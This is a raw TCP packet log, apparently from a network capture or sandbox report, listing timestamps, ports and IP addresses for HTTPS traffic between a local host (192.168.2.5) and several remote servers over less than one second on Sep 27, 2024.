Sep 27, 2024 05:50:59.089201927 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.089255095 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.089422941 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.089422941 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.090471983 CEST	49848	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.090488911 CEST	443	49848	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.091919899 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.091998100 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.092010975 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.092022896 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.092103958 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.092144966 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.092144966 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.092691898 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.093076944 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.093327999 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.093372107 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.101474047 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.101520061 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.101993084 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.103177071 CEST	49849	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.103189945 CEST	443	49849	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.112946033 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.113358974 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.113387108 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.114547014 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.114670992 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.117188931 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.117882013 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.131417036 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.131417036 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.131444931 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.131607056 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.135405064 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.136061907 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.136954069 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.137852907 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.137887001 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.138284922 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.138509035 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.138991117 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.139208078 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.139208078 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.139278889 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.139422894 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.180134058 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.180140018 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.180166006 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.180212975 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.227500916 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.227503061 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.231460094 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.276073933 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.278084993 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.278119087 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.278129101 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.278152943 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.278208971 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.278250933 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.278251886 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.278274059 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.278304100 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.279225111 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.280168056 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.280272961 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.280829906 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.283670902 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.297172070 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.299315929 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.308262110 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.330728054 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.346286058 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.346319914 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.347608089 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.348776102 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.352181911 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.352183104 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.401901960 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.401935101 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.469177961 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.469212055 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.469611883 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.469613075 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.469635963 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.469655037 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.469957113 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.469993114 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.470236063 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.470473051 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.470485926 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.470504999 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.470626116 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.470659971 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.470791101 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.470943928 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.471676111 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.471760035 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.472115040 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.472198009 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.472678900 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.472748995 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.472996950 CEST	49833	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.472996950 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.473015070 CEST	443	49834	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.473155022 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.473174095 CEST	443	49836	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.473277092 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.473285913 CEST	443	49842	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:59.473483086 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.473663092 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.474047899 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.474199057 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.474251032 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.475851059 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.476273060 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.476294994 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.476305008 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.476321936 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.476347923 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.476366043 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.476421118 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.476463079 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.479965925 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.484148026 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.487600088 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.487622023 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.488007069 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.503896952 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.503921032 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.504285097 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.504285097 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.504314899 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.504427910 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.504565001 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.516802073 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.516802073 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.516834021 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.516911983 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.519395113 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.519406080 CEST	443	49833	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.525628090 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525651932 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525660038 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525693893 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525710106 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525723934 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525751114 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.525773048 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.525808096 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.526519060 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526549101 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526556969 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526556969 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.526581049 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526596069 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526606083 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526606083 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.526624918 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.526645899 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.526683092 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.526683092 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.528053999 CEST	49834	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.528054953 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.528064966 CEST	443	49837	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.528090000 CEST	49842	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:59.528115034 CEST	49836	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.546471119 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.561764002 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.569466114 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.569561005 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.569564104 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.569619894 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.569802999 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:59.569885969 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:59.569931030 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:59.570777893 CEST	49837	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.604110956 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.604144096 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.604192972 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.604206085 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.604279041 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.604293108 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.604336977 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.605405092 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.605494976 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.605529070 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.605624914 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.605690956 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.609719038 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.609765053 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.609807968 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.609817028 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.609862089 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.609884024 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.611725092 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:59.627571106 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627594948 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627603054 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627662897 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627691031 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627701044 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627716064 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.627742052 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.627768993 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.627805948 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.631536007 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.631571054 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.631582022 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.631658077 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.631676912 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.631747007 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.651192904 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:59.690120935 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.690149069 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.690212011 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.690258980 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.690294027 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.690337896 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.690829039 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:59.690854073 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:59.691397905 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:59.691582918 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.691602945 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.691694021 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.691710949 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.691768885 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.692603111 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.692651033 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.692682981 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.692697048 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.692734957 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.692785025 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.692843914 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.693279982 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:59.693348885 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:59.694063902 CEST	49843	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:59.714026928 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.714051008 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.714165926 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.714215040 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.714263916 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.715889931 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.715907097 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.715979099 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.715993881 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.716037035 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.735408068 CEST	443	49843	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:59.772267103 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.772308111 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.772393942 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.773818970 CEST	49850	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:50:59.773828983 CEST	443	49850	211.149.140.201	192.168.2.5
Sep 27, 2024 05:50:59.790394068 CEST	49823	443	192.168.2.5	58.254.150.48
Sep 27, 2024 05:50:59.790426970 CEST	443	49823	58.254.150.48	192.168.2.5
Sep 27, 2024 05:50:59.793049097 CEST	49824	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.793081045 CEST	443	49824	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.793627024 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.793685913 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.793770075 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.798188925 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.798218966 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.798621893 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.804538012 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.804563046 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.804635048 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.804671049 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.804711103 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.805537939 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.805557013 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.805630922 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.805639029 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.805686951 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.806272030 CEST	49844	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.806287050 CEST	443	49844	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.806894064 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.806912899 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.806965113 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.806974888 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.807051897 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.807996988 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.808015108 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.808065891 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.808077097 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.808115959 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.808139086 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.810195923 CEST	49825	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.810219049 CEST	443	49825	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.810745001 CEST	49826	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.810750961 CEST	443	49826	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.815191031 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.815223932 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.815310955 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.815454960 CEST	49828	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.815483093 CEST	443	49828	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.816447020 CEST	49852	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.816457033 CEST	443	49852	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.817734003 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.817790031 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.817856073 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.818083048 CEST	49853	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.818098068 CEST	443	49853	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.819595098 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.819606066 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.819670916 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.819926977 CEST	49854	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.819937944 CEST	443	49854	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.860325098 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.860743046 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.860759974 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.861802101 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.861865044 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.865308046 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.865360975 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.865544081 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.865669966 CEST	443	49838	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.865690947 CEST	49838	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.866794109 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.867113113 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.867132902 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.867604017 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.867659092 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.868591070 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.868643045 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.868760109 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.868818045 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.868865967 CEST	49839	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:50:59.868870974 CEST	443	49839	47.108.5.198	192.168.2.5
Sep 27, 2024 05:50:59.895217896 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.895241976 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.895320892 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.895344973 CEST	443	49845	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:59.895401001 CEST	49845	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:59.895839930 CEST	443	49845	50.2.64.137	192.168.2.5
